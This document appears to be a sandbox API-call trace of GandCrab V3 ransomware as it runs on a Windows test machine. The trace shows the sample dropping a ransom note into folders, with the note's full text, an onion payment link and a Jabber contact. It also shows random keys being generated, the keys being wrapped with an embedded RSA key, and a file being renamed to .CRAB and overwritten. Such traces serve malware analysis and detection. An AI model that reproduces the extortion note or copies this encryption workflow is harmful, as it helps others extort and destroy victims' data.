	[0110.139] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Bibliography" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography"
	[0110.139] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\"
	[0110.139] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.139] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0110.140] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0110.140] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0110.140] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0110.140] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.140] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0110.140] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0110.140] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0110.140] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0110.140] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0110.140] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0110.140] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.140] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\\\CRAB-DECRYPT.txt") returned 78
	[0110.140] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0110.141] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0110.141] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0110.142] CloseHandle (hObject=0x3f0) returned 1
	[0110.142] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.143] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\") returned 61
	[0110.143] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*"
	[0110.143] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xd808e0
	[0110.143] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0110.143] FindNextFileW (in: hFindFile=0xd808e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0110.143] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0110.143] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0110.143] FindNextFileW (in: hFindFile=0xd808e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0110.143] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0110.143] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0110.143] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\CRAB-DECRYPT.txt"
	[0110.143] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.143] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\CRAB-DECRYPT.txt") returned 77
	[0110.144] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\CRAB-DECRYPT.txt") returned 77
	[0110.144] lstrlenW (lpString=".txt") returned 4
	[0110.144] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.144] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0110.144] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.144] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\CRAB-DECRYPT.txt") returned 77
	[0110.144] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\CRAB-DECRYPT.txt") returned 77
	[0110.144] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0110.144] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0110.144] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0110.144] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0110.144] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0110.144] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0110.144] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0110.144] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0110.144] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0110.144] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.145] FindNextFileW (in: hFindFile=0xd808e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0110.145] lstrcmpW (lpString1="Style", lpString2=".") returned 1
	[0110.145] lstrcmpW (lpString1="Style", lpString2="..") returned 1
	[0110.145] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\", lpString2="Style" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style"
	[0110.145] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\"
	[0110.145] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.145] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0110.145] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0110.145] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0110.145] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0110.145] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.145] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0110.145] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0110.145] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0110.145] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0110.145] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0110.145] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0110.145] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.146] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\\\CRAB-DECRYPT.txt") returned 84
	[0110.146] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0110.154] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0110.154] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0110.155] CloseHandle (hObject=0x3f4) returned 1
	[0110.156] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.156] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned 67
	[0110.156] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*"
	[0110.156] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xd48280
	[0110.156] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0110.156] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0110.156] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0110.156] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0110.157] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0110.157] lstrcmpW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2=".") returned 1
	[0110.157] lstrcmpW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2="..") returned 1
	[0110.157] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="APASixthEditionOfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl"
	[0110.157] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0110.157] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned 98
	[0110.157] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned 98
	[0110.157] lstrlenW (lpString=".xsl") returned 4
	[0110.157] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.157] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xsl ") returned 5
	[0110.157] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.158] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned 98
	[0110.158] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned 98
	[0110.158] lstrcmpiW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2="desktop.ini") returned -1
	[0110.158] lstrcmpiW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2="autorun.inf") returned -1
	[0110.158] lstrcmpiW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2="ntuser.dat") returned -1
	[0110.158] lstrcmpiW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2="iconcache.db") returned -1
	[0110.158] lstrcmpiW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2="bootsect.bak") returned -1
	[0110.158] lstrcmpiW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2="boot.ini") returned -1
	[0110.158] lstrcmpiW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2="ntuser.dat.log") returned -1
	[0110.158] lstrcmpiW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2="thumbs.db") returned -1
	[0110.158] lstrcmpiW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2="CRAB-DECRYPT.txt") returned -1
	[0110.158] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0110.158] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.CRAB") returned 103
	[0110.158] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\apasixtheditionofficeonline.xsl")) returned 0x20
	[0110.159] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl", dwFileAttributes=0x20) returned 1
	[0110.159] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\apasixtheditionofficeonline.xsl"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\apasixtheditionofficeonline.xsl.crab")) returned 1
	[0110.163] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0110.163] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.CRAB"
	[0110.163] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.CRAB.CRAB"
	[0110.163] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6ed98) returned 1
	[0110.164] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.164] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.165] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.165] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0110.165] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0110.165] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.165] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e5a0) returned 1
	[0110.165] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.166] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.166] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.166] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0110.166] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0110.166] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.166] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0110.167] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0110.167] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6ec00) returned 1
	[0110.167] CryptImportKey (in: hProv=0xd6ec00, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xd47e40) returned 1
	[0110.167] CryptGetKeyParam (in: hKey=0xd47e40, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.167] CryptEncrypt (in: hKey=0xd47e40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0110.168] GetLastError () returned 0x0
	[0110.168] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0110.168] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6ed98) returned 1
	[0110.168] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xd47ec0) returned 1
	[0110.168] CryptGetKeyParam (in: hKey=0xd47ec0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0110.168] CryptEncrypt (in: hKey=0xd47ec0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0110.169] GetLastError () returned 0x0
	[0110.169] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0110.169] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\apasixtheditionofficeonline.xsl.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0110.169] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0110.170] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0110.170] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x51722, lpOverlapped=0x0) returned 1
	[0110.213] VirtualAlloc (lpAddress=0x0, dwSize=0x51730, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0110.218] VirtualAlloc (lpAddress=0x0, dwSize=0x51730, flAllocationType=0x3000, flProtect=0x4) returned 0x33c0000
	[0110.226] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.227] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffae8de, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.227] WriteFile (in: hFile=0x3f8, lpBuffer=0x33c0000*, nNumberOfBytesToWrite=0x51730, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x33c0000*, lpNumberOfBytesWritten=0x314a9bc*=0x51730, lpOverlapped=0x0) returned 1
	[0110.228] VirtualFree (lpAddress=0x33c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.230] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.234] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0110.235] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
